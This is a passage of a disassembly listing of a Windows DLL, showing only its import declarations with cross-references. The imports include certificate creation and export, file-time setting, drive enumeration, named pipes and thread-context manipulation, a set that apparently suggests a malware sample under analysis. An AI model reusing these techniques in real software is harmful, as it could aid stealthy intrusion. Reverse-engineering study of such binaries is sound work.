		extrn CertStrToNameA:dword ; CODE XREF:	.text:1000E526p
					; .text:1000E550p
					; DATA XREF: ...
; PCCERT_CONTEXT __stdcall CertCreateSelfSignCertificate(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hCryptProvOrNCryptKey,	PCERT_NAME_BLOB	pSubjectIssuerBlob, DWORD dwFlags, PCRYPT_KEY_PROV_INFO	pKeyProvInfo, PCRYPT_ALGORITHM_IDENTIFIER pSignatureAlgorithm, PSYSTEMTIME pStartTime, PSYSTEMTIME pEndTime, PCERT_EXTENSIONS pExtensions)
		extrn CertCreateSelfSignCertificate:dword ; CODE XREF: .text:1000E582p
					; DATA XREF: .text:1000E582r
; HCERTSTORE __stdcall CertOpenStore(LPCSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV_LEGACY hCryptProv, DWORD dwFlags, const	void *pvPara)
		extrn CertOpenStore:dword ; CODE XREF: .text:1000E598p
					; sub_1000E66B+ADp ...
; BOOL __stdcall CertAddCertificateContextToStore(HCERTSTORE hCertStore, PCCERT_CONTEXT	pCertContext, DWORD dwAddDisposition, PCCERT_CONTEXT *ppStoreContext)
		extrn CertAddCertificateContextToStore:dword ; CODE XREF: .text:1000E5ADp
					; sub_1000E66B+140p
					; DATA XREF: ...
; BOOL __stdcall PFXExportCertStoreEx(HCERTSTORE hStore, CRYPT_DATA_BLOB *pPFX,	LPCWSTR	szPassword, void *pvReserved, DWORD dwFlags)
		extrn PFXExportCertStoreEx:dword ; CODE	XREF: .text:1000E5C3p
					; .text:1000E5EBp ...
; void __stdcall CryptMemFree(LPVOID pv)
		extrn CryptMemFree:dword ; CODE	XREF: .text:1000E5F5p
					; DATA XREF: .text:1000E5F5r
; BOOL __stdcall CertFreeCertificateContext(PCCERT_CONTEXT pCertContext)
		extrn CertFreeCertificateContext:dword ; CODE XREF: .text:1000E60Bp
					; DATA XREF: .text:1000E60Br
; HCERTSTORE __stdcall PFXImportCertStore(CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, DWORD dwFlags)
		extrn PFXImportCertStore:dword ; CODE XREF: .text:1000E45Ep
					; DATA XREF: .text:1000E45Er ...
; PCCERT_CONTEXT __stdcall CertEnumCertificatesInStore(HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext)
		extrn CertEnumCertificatesInStore:dword	; CODE XREF: .text:1000E46Dp
					; sub_1000E66B+D5p ...
; BOOL __stdcall CryptAcquireCertificatePrivateKey(PCCERT_CONTEXT pCert, DWORD dwFlags,	void *pvReserved, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE *phCryptProvOrNCryptKey, DWORD *pdwKeySpec, BOOL *pfCallerFreeProvOrNCryptKey)
		extrn CryptAcquireCertificatePrivateKey:dword ;	CODE XREF: .text:1000E48Ap
					; DATA XREF: .text:1000E48Ar
; BOOL __stdcall CertCloseStore(HCERTSTORE hCertStore, DWORD dwFlags)
		extrn CertCloseStore:dword ; CODE XREF:	.text:1000E496p
					; .text:1000E601p ...
; LPVOID __stdcall CryptMemAlloc(ULONG cbSize)
		extrn CryptMemAlloc:dword ; CODE XREF: .text:1000E3F3p
					; .text:1000E4CCp ...

;
; Imports from GDI32.dll
;
; HBRUSH __stdcall CreateSolidBrush(COLORREF color)
		extrn CreateSolidBrush:dword ; CODE XREF: sub_1000C9DC+27p
					; DATA XREF: sub_1000C9DC+27r
; HFONT	__stdcall CreateFontIndirectA(const LOGFONTA *lplf)
		extrn CreateFontIndirectA:dword	; CODE XREF: sub_1000C9DC+77p
					; sub_1000C9DC+C7p
					; DATA XREF: ...
; HDC __stdcall	CreateCompatibleDC(HDC hdc)
		extrn CreateCompatibleDC:dword ; CODE XREF: sub_1000537C+86p
					; DATA XREF: sub_1000537C+86r
; COLORREF __stdcall SetTextColor(HDC hdc, COLORREF color)
		extrn SetTextColor:dword ; CODE	XREF: sub_1000537C+9Ap
					; DATA XREF: sub_1000537C+9Ar
; COLORREF __stdcall SetBkColor(HDC hdc, COLORREF color)
		extrn SetBkColor:dword	; CODE XREF: sub_1000537C+ABp
					; DATA XREF: sub_1000537C+ABr
; HBITMAP __stdcall CreateCompatibleBitmap(HDC hdc, int	cx, int	cy)
		extrn CreateCompatibleBitmap:dword ; CODE XREF:	sub_1000537C+BDp
					; DATA XREF: sub_1000537C+BDr
; BOOL __stdcall DeleteDC(HDC hdc)
		extrn DeleteDC:dword	; CODE XREF: TimerFunc+CBp
					; DATA XREF: TimerFunc+CBr
; HGDIOBJ __stdcall SelectObject(HDC hdc, HGDIOBJ h)
		extrn SelectObject:dword ; CODE	XREF: TimerFunc+B9p
					; sub_10004DAA+7Cp ...
; BOOL __stdcall BitBlt(HDC hdc, int x,	int y, int cx, int cy, HDC hdcSrc, int x1, int y1, DWORD rop)
		extrn BitBlt:dword	; CODE XREF: sub_1000537C+100p
					; DATA XREF: sub_1000537C+100r
; BOOL __stdcall DeleteObject(HGDIOBJ ho)
		extrn DeleteObject:dword ; CODE	XREF: TimerFunc+43Ep
					; DATA XREF: TimerFunc+43Er

;
; Imports from KERNEL32.dll
;
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD	dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,	DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE	hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: sub_100015CE+BBp
					; sub_1000291D+12Bp ...
; LPSTR	__stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcatA:dword	; CODE XREF: sub_100015CE+9Fp
					; sub_100020B5+1B0p ...
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: sub_100015CE+78p
					; StartAddress+737p ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: sub_100015CE+71p
					; sub_10003460+9p ...
; int __stdcall	lstrcmpA(LPCSTR	lpString1, LPCSTR lpString2)
		extrn lstrcmpA:dword	; CODE XREF: .text:10001DBAp
					; sub_10001DE0+A5p ...
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_100020B5+3A4p
					; sub_10003645+79p ...
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_100020B5+38Cp
					; sub_10003645+15p ...
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn LocalFree:dword	; CODE XREF: sub_1000279F+C4p
					; sub_1000279F+D5p ...
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn LocalAlloc:dword	; CODE XREF: sub_1000279F+38p
					; sub_1001CBA7+10Bp
					; DATA XREF: ...
; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime)
		extrn SetFileTime:dword	; CODE XREF: sub_1000291D+17Bp
					; .text:10005BBCp ...
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_1000291D+15Cp
					; .text:10005BA6p ...
; DWORD	__stdcall SetFilePointer(HANDLE	hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn SetFilePointer:dword ; CODE XREF:	sub_1000291D+144p
					; sub_1000741F+404p ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize)
		extrn GetSystemDirectoryA:dword	; CODE XREF: sub_1000291D+77p
					; sub_10002C3D+C9p ...
; int __stdcall	WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR	lpMultiByteStr,	int cbMultiByte, LPCSTR	lpDefaultChar, LPBOOL lpUsedDefaultChar)
		extrn WideCharToMultiByte:dword	; CODE XREF: .text:10002B5Fp
					; .text:10002C15p ...
; int __stdcall	MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr,	int cchWideChar)
		extrn MultiByteToWideChar:dword	; CODE XREF: .text:10002AF0p
					; .text:10002B43p ...
; DWORD	__stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn GetFileSize:dword	; CODE XREF: sub_100015CE+DDp
					; sub_100055F0+4Ap ...
; BOOL __stdcall Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
		extrn __imp_Thread32First:dword	; DATA XREF: Thread32Firstr
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID)
		extrn __imp_CreateToolhelp32Snapshot:dword
					; DATA XREF: CreateToolhelp32Snapshotr
; DWORD	__stdcall GetCurrentProcessId()
		extrn GetCurrentProcessId:dword	; CODE XREF: sub_10002F3C+Ep
					; DATA XREF: sub_10002F3C+Er ...
; void __stdcall ExitThread(DWORD dwExitCode)
		extrn ExitThread:dword	; CODE XREF: TimerFunc+459p
					; StartAddress+902p
					; DATA XREF: ...
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags,	LPDWORD	lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: TimerFunc+423p
					; sub_100050D9+11Dp ...
; DWORD	__stdcall GetTickCount()
		extrn GetTickCount:dword ; CODE	XREF: TimerFunc+1BBp
					; DATA XREF: TimerFunc+1BBr
; DWORD	__stdcall GetTempPathW(DWORD nBufferLength, LPWSTR lpBuffer)
		extrn GetTempPathW:dword ; CODE	XREF: TimerFunc+1B5p
					; DATA XREF: TimerFunc+1B5r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn ResetEvent:dword	; CODE XREF: TimerFunc+A6p
					; sub_100050D9+B0p
					; DATA XREF: ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: TimerFunc+49p
					; sub_100108A3+163p ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_10003645+8Cp
					; sub_10003645+CBp ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_1000D7D0+Ep
					; sub_1001361F+29p
					; DATA XREF: ...
; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend)
		extrn InterlockedDecrement:dword ; CODE	XREF: sub_1000D7F0+10p
					; DATA XREF: sub_1000D7F0+10r
; DWORD	__stdcall GetCurrentThreadId()
		extrn GetCurrentThreadId:dword ; CODE XREF: .text:10004AFAp
					; .text:10004D2Ap ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_100050D9+27Ap
					; sub_100102E8+52p ...
; BOOL __stdcall ReadFile(HANDLE hFile,	LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn ReadFile:dword	; CODE XREF: sub_100015CE+FFp
					; sub_100015CE+15Ap ...
; BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName)
		extrn MoveFileA:dword	; CODE XREF: .text:10005B69p
					; DATA XREF: .text:10005B69r
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: .text:10005AFCp
					; StartAddress+8BCp ...
; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime)
		extrn GetFileTime:dword	; CODE XREF: .text:100058D3p
					; sub_1000B536+BFp ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_100071C0+24Fp
					; sub_1000741F+706p ...
; BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData)
		extrn FindNextFileA:dword ; CODE XREF: sub_100071C0+239p
					; sub_1000741F+6F0p ...
; BOOL __stdcall FindClose(HANDLE hFindFile)
		extrn FindClose:dword	; CODE XREF: sub_100071C0+141p
					; sub_1000741F+1A2p ...
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA	lpFindFileData)
		extrn FindFirstFileA:dword ; CODE XREF:	sub_100071C0+45p
					; sub_1000741F+A1p ...
; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
		extrn GetDriveTypeA:dword ; CODE XREF: sub_1000878F+DF5p
					; sub_1000B7EF+665p
					; DATA XREF: ...
; DWORD	__stdcall GetLogicalDrives()
		extrn GetLogicalDrives:dword ; CODE XREF: sub_1000878F+D43p
					; sub_1000B7EF+5C8p
					; DATA XREF: ...
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
		extrn SetEndOfFile:dword ; CODE	XREF: sub_10009FE2+153p
					; DATA XREF: sub_10009FE2+153r
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes)
		extrn SetFileAttributesA:dword ; CODE XREF: sub_1000A318+8ACp
					; sub_1000A318+95Ap ...
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer)
		extrn GetTempPathA:dword ; CODE	XREF: sub_1000A318+6CEp
					; sub_1000B7EF+AF1p ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
		extrn QueryPerformanceCounter:dword ; CODE XREF: sub_1000B027+58p
					; sub_1000B536+1F0p
					; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_1000C9DC+181p
					; DllMain(x,x,x)+204p ...
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
		extrn GetSystemTime:dword ; CODE XREF: .text:1000E55Ap
					; sub_10010623+42p
					; DATA XREF: ...
; int __stdcall	lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2)
		extrn lstrcmpiA:dword	; CODE XREF: sub_1000EB30+3A6p
					; sub_1000EB30+3CBp ...
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword ; CODE XREF: sub_1000EB30+80p
					; sub_1000EB30+A6p
					; DATA XREF: ...
; int __stdcall	GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn GetLocaleInfoA:dword ; CODE XREF:	sub_1000EB30+29p
					; DATA XREF: sub_1000EB30+29r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; DATA	XREF: sub_1000FBCC+107r
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; DATA	XREF: sub_1000FBCC+F1r
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	DATA XREF: sub_1000FBCC+D9r
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
		extrn GetSystemTimeAsFileTime:dword ; DATA XREF: sub_1000FBCC+C3r
; BOOL __stdcall SetNamedPipeHandleState(HANDLE	hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout)
		extrn SetNamedPipeHandleState:dword ; DATA XREF: sub_1000FBCC+95r
; BOOL __stdcall WaitNamedPipeW(LPCWSTR	lpNamedPipeName, DWORD nTimeOut)
		extrn WaitNamedPipeW:dword ; DATA XREF:	sub_1000FBCC+7Fr
; BOOL __stdcall FlushFileBuffers(HANDLE hFile)
		extrn FlushFileBuffers:dword ; DATA XREF: sub_1000FBCC+51r
; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD	dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
		extrn CreateFileW:dword	; DATA XREF: sub_1000FBCC+25r
; BOOL __stdcall CreateProcessW(LPCWSTR	lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
		extrn CreateProcessW:dword ; DATA XREF:	sub_1000FDDB+19r
; DWORD	__stdcall GetModuleFileNameW(HMODULE hModule, LPWCH lpFilename,	DWORD nSize)
		extrn GetModuleFileNameW:dword ; DATA XREF: sub_1000FDDB+3r
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_100108A3+14Ep
					; sub_10011167+117p ...
; HANDLE __stdcall GetCurrentThread()
		extrn GetCurrentThread:dword ; CODE XREF: sub_1001338E+8p
					; sub_100134D4+8p ...
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn TlsSetValue:dword	; CODE XREF: sub_1001361F+15p
					; sub_1001361F+3Dp ...
; DWORD	__stdcall TlsAlloc()
		extrn TlsAlloc:dword	; CODE XREF: sub_100136A4+9p
					; sub_100136A4+14p
					; DATA XREF: ...
; BOOL __stdcall TlsFree(DWORD dwTlsIndex)
		extrn TlsFree:dword	; CODE XREF: sub_10013713+28p
					; sub_10013713+3Ep
					; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_10013A20+24Ap
					; sub_10013A20+3D3p
					; DATA XREF: ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_10013A20+48p
					; DATA XREF: sub_10013A20+48r
; HANDLE __stdcall GetProcessHeap()
		extrn GetProcessHeap:dword ; CODE XREF:	sub_10013A20+41p
					; sub_10013A20+243p ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_100015CE+1E3p
					; sub_1000291D+185p ...
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn lstrlenA:dword	; CODE XREF: .text:10001477p
					; .text:100014CDp ...
; LPSTR	__stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcpyA:dword	; CODE XREF: sub_100012D1+7Cp
					; sub_100015CE+3CEp ...
; HANDLE __stdcall GetCurrentProcess()
		extrn GetCurrentProcess:dword ;	CODE XREF: sub_1000579B+Cp
					; sub_1001785F:loc_100179FDp
					; DATA XREF: ...
; BOOL __stdcall Thread32Next(HANDLE hSnapshot,	LPTHREADENTRY32	lpte)
		extrn __imp_Thread32Next:dword ; DATA XREF: Thread32Nextr
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn RaiseException:dword ; CODE XREF:	sub_1001CBA7+E5p
					; sub_1001CBA7+1C7p
					; DATA XREF: ...
; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value)
		extrn InterlockedExchange:dword	; CODE XREF: sub_1001CBA7+F7p
					; DATA XREF: sub_1001CBA7+F7r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_10018210:loc_1001828Ap
					; sub_10018210:loc_1001830Fp ...
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn VirtualAlloc:dword ; CODE	XREF: sub_10017DDC+F9p
					; sub_10017DDC+165p
					; DATA XREF: ...
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: sub_10017AB5+2Dp
					; DATA XREF: sub_10017AB5+2Dr
; BOOL __stdcall SetThreadContext(HANDLE hThread, const	CONTEXT	*lpContext)
		extrn SetThreadContext:dword ; CODE XREF: sub_1001785F+18Cp
					; DATA XREF: sub_1001785F+102r
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
		extrn GetThreadContext:dword ; CODE XREF: sub_1001785F+11Cp
					; DATA XREF: sub_1001785F+11Cr
; BOOL __stdcall FlushInstructionCache(HANDLE hProcess,	LPCVOID	lpBaseAddress, SIZE_T dwSize)
		extrn FlushInstructionCache:dword ; CODE XREF: sub_1001785F+1D7p
					; DATA XREF: sub_1001785F+1D7r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn ResumeThread:dword ; CODE	XREF: sub_10017768+7Bp
					; sub_1001785F+21Ap
					; DATA XREF: ...
; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
		extrn VirtualProtect:dword ; CODE XREF:	sub_10017741+19p
					; sub_10017768+38p ...
; LONG __stdcall InterlockedCompareExchange(volatile LONG *Destination,	LONG Exchange, LONG Comperand)
		extrn InterlockedCompareExchange:dword ; CODE XREF: sub_100176F1+18p
					; DATA XREF: sub_100176F1+18r
; SIZE_T __stdcall VirtualQuery(LPCVOID	lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
		extrn VirtualQuery:dword ; CODE	XREF: sub_10017656+2Fp
					; sub_10017DDC+CCp ...

;
; Imports from MSVCRT.dll
;
; __declspec(dllimport)	public:	virtual	__thiscall type_info::~type_info(void)
		extrn __imp_??1type_info@@UAE@XZ:dword
					; DATA XREF: type_info::~type_info(void)r
		extrn __imp__CxxThrowException:dword ; DATA XREF: _CxxThrowExceptionr
; int __cdecl putc(int Ch, FILE	*File)
		extrn putc:dword	; CODE XREF: sub_1001B270+12p
					; sub_1001B270+39p ...
; int __cdecl vfprintf(FILE *File, const char *Format, va_list ArgList)
		extrn vfprintf:dword	; CODE XREF: sub_1001B270+27p
					; DATA XREF: sub_1001B270+27r
; void __cdecl exit(int	Code)
		extrn exit:dword	; CODE XREF: sub_1001B270+40p
					; DATA XREF: sub_1001B270+40r
; void __cdecl rewind(FILE *File)
		extrn rewind:dword	; CODE XREF: sub_1001AE90+104p
					; DATA XREF: sub_1001AE90+104r
; int __cdecl fputc(int	Ch, FILE *File)
		extrn fputc:dword	; CODE XREF: sub_1001AE00+66p
					; sub_1001B110+1Ap ...
; int __cdecl stricmp(const char *Str1,	const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_10013A20+87p
					; DATA XREF: sub_10013A20+87r
; char *__cdecl	itoa(int Val, char *DstBuf, int	Radix)
		extrn _itoa:dword	; CODE XREF: sub_100139D0+3Fp
					; DATA XREF: sub_100139D0+3Fr
; size_t __cdecl strlen(const char *Str)
		extrn __imp_strlen:dword ; DATA	XREF: strlenr
; char *__cdecl	strlwr(char *Str)
		extrn _strlwr:dword	; CODE XREF: sub_100050D9+76p
					; sub_100050D9+85p ...
; int __cdecl strnicmp(const char *Str1, const char *Str, size_t MaxCount)
		extrn _strnicmp:dword	; CODE XREF: sub_1001AB59+162p
					; sub_1001AB59+173p ...
; int __cdecl fseek(FILE *File,	__int32	Offset,	int Origin)
		extrn fseek:dword	; CODE XREF: sub_1001A057+61p
					; sub_1001A057+9Dp ...
; __int32 __cdecl ftell(FILE *File)
		extrn ftell:dword	; CODE XREF: sub_1001A057+64p
					; sub_1001AE90+7Fp ...
		extrn _mbsicmp:dword	; CODE XREF: sub_10019DAA+116p
					; sub_10019DAA+169p ...
		extrn _mbsnbcmp:dword	; CODE XREF: sub_10019BC6:loc_10019C1Ap
					; DATA XREF: sub_10019BC6+3Fr
		extrn _mbsstr:dword	; CODE XREF: sub_1001954D+58p
					; DATA XREF: sub_1001954D+58r
; void *__cdecl	memset(void *Dst, int Val, size_t Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_100010BB+Bp
					; sub_100011DC+74p ...
; char *__cdecl	strchr(const char *Str,	int Val)
		extrn strchr:dword	; CODE XREF: sub_1000116E+3Ep
					; sub_1000116E+59p ...
; char *__cdecl	strncpy(char *Dest, const char *Source,	size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_100011DC+B3p
					; sub_100055F0+C5p ...
		extrn _adjust_fdiv:dword ; DATA	XREF: _CRT_INIT(x,x,x):loc_1001748Cr
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
; _onexit_t __cdecl onexit(_onexit_t Func)
		extrn _onexit:dword	; CODE XREF: __onexit+Dp
					; DATA XREF: __onexit+Dr
		extrn __imp___dllonexit:dword ;	DATA XREF: __dllonexitr
; int __cdecl strncmp(const char *Str1,	const char *Str2, size_t MaxCount)
		extrn strncmp:dword	; CODE XREF: sub_10016C4C+33Fp
					; sub_10016C4C+35Ap ...
		extrn _iob:dword	; DATA XREF: sub_100142FF+BAr
					; sub_1001AE90+1Fr ...
; int fprintf(FILE *File, const	char *Format, ...)
		extrn fprintf:dword	; CODE XREF: sub_100142FF+C3p
					; sub_1001AE90+32p ...
; int printf(const char	*Format, ...)
		extrn printf:dword	; CODE XREF: sub_10013E02+19Dp
					; sub_10013E02+1D4p ...
; int sscanf(const char	*Src, const char *Format, ...)
		extrn sscanf:dword	; CODE XREF: sub_10013A20+72p
					; DATA XREF: sub_10013A20+72r
; void *__cdecl	realloc(void *Memory, size_t NewSize)
		extrn realloc:dword	; CODE XREF: sub_10010623+1C6p
					; sub_100108A3+111p ...
		extrn _except_handler3:dword ; DATA XREF: .text:loc_10017470r
; time_t __cdecl time(time_t *Time)
		extrn time:dword	; CODE XREF: .text:10005817p
					; StartAddress+DBp ...
; void __cdecl srand(unsigned int Seed)
		extrn srand:dword	; CODE XREF: .text:10005821p
					; StartAddress+E5p ...
; int __cdecl isalpha(int C)
		extrn isalpha:dword	; CODE XREF: sub_10003786+FB9p
					; DATA XREF: sub_10003786+FB9r
; int __cdecl isdigit(int C)
		extrn isdigit:dword	; CODE XREF: sub_10003786+1039p
					; sub_1000F5B1+DCp
					; DATA XREF: ...
; size_t __cdecl wcslen(const wchar_t *Str)
		extrn __imp_wcslen:dword ; CODE	XREF: TimerFunc+24Dp
					; sub_10012894+D9p ...
; void *__cdecl	memcpy(void *Dst, const	void *Src, size_t Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_10002C3D+1BFp
					; sub_10003786+EF1p ...
; __declspec(dllimport)	void * __cdecl operator	new(unsigned int)
		extrn __imp_??2@YAPAXI@Z:dword ; DATA XREF: operator new(uint)r
; void *__cdecl	calloc(size_t NumOfElements, size_t SizeOfElements)
		extrn calloc:dword	; CODE XREF: .text:10002B22p
					; .text:10002BD8p
					; DATA XREF: ...
; __declspec(dllimport)	void __cdecl operator delete(void *)
		extrn __imp_??3@YAXPAX@Z:dword ; DATA XREF: operator delete(void *)r
; int __cdecl wcscmp(const wchar_t *Str1, const	wchar_t	*Str2)
		extrn wcscmp:dword	; CODE XREF: sub_1000279F+8Fp
					; DATA XREF: sub_1000279F+8Fr
; void *__cdecl	memmove(void *Dst, const void *Src, size_t Size)
		extrn memmove:dword	; CODE XREF: sub_10019167+4Ep
					; sub_100191E6+87p ...
		extrn _mbsnbicmp:dword	; CODE XREF: sub_10018E33+8Cp
					; sub_10018E33+1A5p ...
		extrn __imp__EH_prolog:dword ; DATA XREF: _EH_prologr
; size_t __cdecl fwrite(const void *Str, size_t	Size, size_t Count, FILE *File)
		extrn fwrite:dword	; CODE XREF: sub_10018AC6+C3p
					; sub_10018AC6+12Cp ...
; char *__cdecl	strstr(const char *Str,	const char *SubStr)
		extrn strstr:dword	; CODE XREF: sub_100011DC+40p
					; sub_100012D1+48p ...
; char *__cdecl	strcat(char *Dest, const char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_100015CE+214p
					; sub_100015CE+715p ...
; char *__cdecl	strrchr(const char *Str, int Ch)
		extrn strrchr:dword	; CODE XREF: sub_100015CE+87p
					; StartAddress+746p ...
; int __cdecl strcmp(const char	*Str1, const char *Str2)
		extrn __imp_strcmp:dword ; DATA	XREF: strcmpr
; char *__cdecl	strcpy(char *Dest, const char *Source)
		extrn __imp_strcpy:dword ; DATA	XREF: strcpyr
; int sprintf(char *Dest, const	char *Format, ...)
		extrn sprintf:dword	; CODE XREF: sub_100020B5+22Cp
					; sub_100020B5+251p ...
		extrn __imp___CxxFrameHandler:dword ; DATA XREF: __CxxFrameHandlerr
; FILE *__cdecl	fopen(const char *Filename, const char *Mode)
		extrn fopen:dword	; CODE XREF: sub_100189B8+12p
					; sub_10018AC6+41p ...
; size_t __cdecl fread(void *DstBuf, size_t ElementSize, size_t	Count, FILE *File)
		extrn fread:dword	; CODE XREF: sub_100189B8+5Ap
					; sub_1001A057+B2p ...
; int __cdecl fclose(FILE *File)
		extrn fclose:dword	; CODE XREF: sub_100189B8+C0p
					; sub_10018AC6+219p ...
; int __cdecl rand()
